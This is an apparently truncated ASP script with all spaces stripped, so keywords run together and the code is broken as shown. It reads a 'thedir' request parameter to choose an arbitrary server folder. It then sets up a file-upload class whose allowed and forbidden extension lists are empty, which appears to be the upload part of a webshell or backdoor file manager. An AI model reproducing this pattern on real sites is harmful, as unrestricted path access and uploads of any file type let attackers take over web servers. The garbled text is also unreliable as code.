<%
thedir=request("thedir")
ifthedir=""then
folderini=server.mappath(".")&"/"
else
folderini=server.mappath(thedir)&"/"
endif
foldinfo=trim(Request.Querystring("foldinfo"))
iffoldinfo=""then
foldinfo=folderini
endif
classclsUp
DimForm,File
DimAllowExt_
DimNoAllowExt_
PrivateoUpFileStream
PrivateisErr_
PrivateErrMessage_
PrivateisGetData_
PublicPropertyGetVersion
Version="v1.0.0"
EndProperty
PublicPropertyGetisErr
isErr=isErr_
EndProperty
PublicPropertyGetErrMessage
ErrMessage=ErrMessage_
EndProperty
PublicPropertyGetAllowExt
AllowExt=AllowExt_
EndProperty
PublicPropertyLetAllowExt(Value)
AllowExt_=LCase(Value)
EndProperty
PublicPropertyGetNoAllowExt
NoAllowExt=NoAllowExt_
EndProperty
PublicPropertyLetNoAllowExt(Value)
NoAllowExt_=LCase(Value)
EndProperty
PrivateSubClass_Initialize
isErr_=0
NoAllowExt=""
NoAllowExt=LCase(NoAllowExt)
AllowExt=""
AllowExt=LCase(AllowExt)
isGetData_=false
EndSub
PrivateSubClass_Terminate
onerrorResumeNext
Form.RemoveAll
SetForm=Nothing
File.RemoveAll
SetFile=Nothing
oUpFileStream.Close
SetoUpFileStream=Nothing
EndSub
PublicSubGetData(MaxSize)
onerrorResumeNext
ifisGetData_=falsethen
Dimgetupdata1,sSpace,bCrLf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,oFileInfo
DimsFormValue,sFileName
DimiFindStart,iFindEnd
DimiFormStart,iFormEnd,sFormName
IfRequest.TotalBytes<1Then
isErr_=1
ErrMessage_=""
ExitSub
EndIf
IfMaxSize>0Then
IfRequest.TotalBytes>MaxSizeThen
isErr_=2
ErrMessage_=""
ExitSub
EndIf
EndIf
SetForm=Server.CreateObject("Scripting.Dictionary")
Form.CompareMode=1
SetFile=Server.CreateObject("Scripting.Dictionary")
File.CompareMode=1
SettStream=Server.CreateObject("ADODB.Stream")
SetoUpFileStream=Server.CreateObject("ADODB.Stream")
oUpFileStream.Type=1
oUpFileStream.Mode=3
oUpFileStream.Open
oUpFileStream.WriteRequest.BinaryRead(Request.TotalBytes)
oUpFileStream.Position=0
getupdata1=oUpFileStream.Read
iFormEnd=oUpFileStream.Size
bCrLf=ChrB(13)&ChrB(10)